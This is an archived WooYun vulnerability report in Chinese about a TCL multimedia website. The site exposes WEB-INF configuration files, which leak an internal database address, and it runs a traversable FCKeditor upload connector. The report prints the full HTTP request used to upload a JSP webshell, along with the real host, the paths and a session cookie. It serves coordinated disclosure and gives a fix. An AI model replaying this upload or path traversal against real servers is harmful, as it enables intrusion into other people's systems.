当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091995

漏洞标题:tcl某站一种类型配置不当可getshell入内网

相关厂商:TCL官方网上商城

漏洞作者: 杀器王子

提交时间:2015-01-15 12:49

修复时间:2015-03-01 12:50

公开时间:2015-03-01 12:50

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开

简要描述:

tcl某站配置不当可getshell入内网

详细说明:

http://multimedia.tcl.com/WEB-INF/web.xml
web.xml可访问

Snip20150115_3.png


顺着图一路摸下去
http://multimedia.tcl.com/WEB-INF/classes/applicationContext.xml
http://multimedia.tcl.com/WEB-INF/classes/hibernate.cfg.xml

<hibernate-configuration><session-factory><property name="hibernate.connection.url">
jdbc:mysql://10.120.99.19/multimedia?useServerPrepStmts=false&useUnicode=true&characterEncoding=UTF-8&logger=com.mysql.jdbc.log.StandardLogger
</property>


找到数据库连接 在内网
每个classes都是可以下载的 可导致整站源码泄露

漏洞证明:

重点在这里

Snip20150115_4.png


fckeditor
访问后发现是有漏洞的版本 可以跨目录

POST /lokosuite/module/core/htmleditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/../../en/home/ HTTP/1.1
Host: multimedia.tcl.com
Proxy-Connection: keep-alive
Content-Length: 7338
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://multimedia.tcl.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.3 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMqgpH9KZNXlFibX4
Referer: http://multimedia.tcl.com/lokosuite/module/core/htmleditor/editor/filemanager/browser/default/frmupload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: JSESSIONID=EC6CB4E9F7907F950BB61462522B06DF; __utmt=1; __utma=168697661.1185858053.1421290181.1421290181.1421290181.1; __utmb=168697661.8.10.1421290181; __utmc=168697661; __utmz=168697661.1421290181.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
------WebKitFormBoundaryMqgpH9KZNXlFibX4
Content-Disposition: form-data; name="NewFile"; filename="indexs.jsp"
Content-Type: application/octet-stream


这个包直接上传shell

Snip20150115_5.png

修复方案:

禁止访问配置文件

版权声明:转载请注明来源 杀器王子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-15 13:36

厂商回复:

感谢你的工作,已转交相关单位处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-15 13:26 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    围观 大杀器

  2. 2015-01-26 09:16 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    好东西,web.xml好东西

  3. 2015-03-01 13:02 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)

    其实第一次要我写程序我是拒绝的,因为,你不能让我写,我就马上去写,第一我要学一下,因为我不愿意写完了以后再查出一些bug出来,数据库duang一下被爆了,很黑、很卡,这样用户出来一定会骂我,根本没有这样的程序,就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的,我写了大概一个月左右,感觉还不错,后来我在上线的时候也要求他们不要加防火墙,因为我要让用户看到,我用完之后是这个样子,你们用完之后也会是这个样子!